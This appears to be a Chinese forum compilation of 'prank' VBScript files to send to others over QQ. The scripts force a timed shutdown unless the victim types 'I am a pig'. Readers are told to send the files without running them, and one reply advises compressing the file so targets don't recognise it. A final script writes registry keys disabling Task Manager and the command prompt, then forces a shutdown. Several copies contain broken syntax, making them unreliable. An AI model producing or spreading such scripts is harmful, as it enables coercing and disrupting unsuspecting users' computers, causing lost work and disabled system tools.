整人代码VBE 在QQ中发我是猪给别人的
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""说我是帅哥，不说我是帅哥就半分钟关你机，不信，试试? ??"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪狗,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真好玩"
开始〉程序〉附件〉记事本 复制以下内容到记事本，保存以后把后缀改为.vbe
看不见后缀的话点击 我的电脑〉工具〉文件夹选项〉查看 去掉“隐藏有几只文件的扩展名”前面的钩，就能看到后缀了。（不要输入成2.vbe.txt，记着要把.txt删掉）
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说“我是猪”就会关机，不信邪的你可以试下。"" ",0 ,true
dim a
do while(a <> "我是猪") '通过检查变量a是否不等于”我是猪“来判断
a = inputbox ("说我是猪,就可以不关机，快点，说 ""我是猪"" ","好好考虑吧……","你才是",8000,7000)
if a="你才是"then
if df<>"yes" then
dim df
df="yes"
msgbox "敢骂我，你再骂一次试看看！",vbApplicationModa+VbMsgBoxSetFore+vbSystemModal
else
msgbox "好哇，天堂有路你不走，关机无门你偏来，关机吧~~~",vbApplicationModa+VbMsgBoxSetFore+vbSystemModal
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
WSHshellA.run "cmd.exe /c shutdown -r -t 0 -c ""说我是猪，不说“我是猪”就会关机，不信……试下。"" ",0 ,true
end if
end if
loop
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + "早说不就行了嘛",vbApplicationModa+VbMsgBoxSetFore+vbSystemModal
msgbox chr(13) + "哈哈哈哈，人才，人才呀",vbApplicationModa+VbMsgBoxSetFore+vbSystemMod
打开开始程序/附件/记事本新建一个文本文档复制以下内容：
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"
从这里开始不要复制了！！！最后保存，再把文本的后缀名改为.vbe格式（一般默认的都是.txt）
发给别人试试吧 自己就不要试了!
vbe整人代码 说我是猪的那个 只要代码 不要文字~
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run"cmd.exe/c shutdown -r -t 60 -c""一分钟关你机，不信，试试···""",0 ,true
dim a
do while(a"我是猪")
a = inputbox ("说""我是猪""0","说不说","不说",8000,7000)
msgbox chr(13) chr(13) chr(13) a,0,"MsgBox"
loop
msgbox chr(13) chr(13) chr(13) "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run"cmd.exe/c shutdown -a",0 ,true
msgbox chr(13) chr(13) chr(13) "哈哈哈哈，真过瘾"
简单啊。你把VBS后面改成.VBS就可以了。还有，别忘了得压缩。你不压缩别人一看到就知道这是个耍人的脚本了， 求积分，顺便附上一个代码，
set s=createobject("wscript.shell")
set bag=getobject("winmgmts:\\.oot\cimv2")
set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")
For Each id in pipe
if instr(1,id.commandLine,wscript.scriptfullname)0 and pipe.count>=2 then
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
id.terminate()
else
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"
for i=1 to 200
s.popup"系统将在"& 1-i &"秒后关机...",1,"系统提示",4096+48
next
Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")
For Each eOs In colOS
eOs.Win32Shutdown(2)
Next
end if
Next
[color=#FF0000]
这是个耍人的代码，可以让他电脑关机后重启后任务管理器打不开。CMD也打不开。 想要解决的方法就是先打开一次这个脚本，然后会提示关机，在没关机前你再打开一次那个脚本就好了
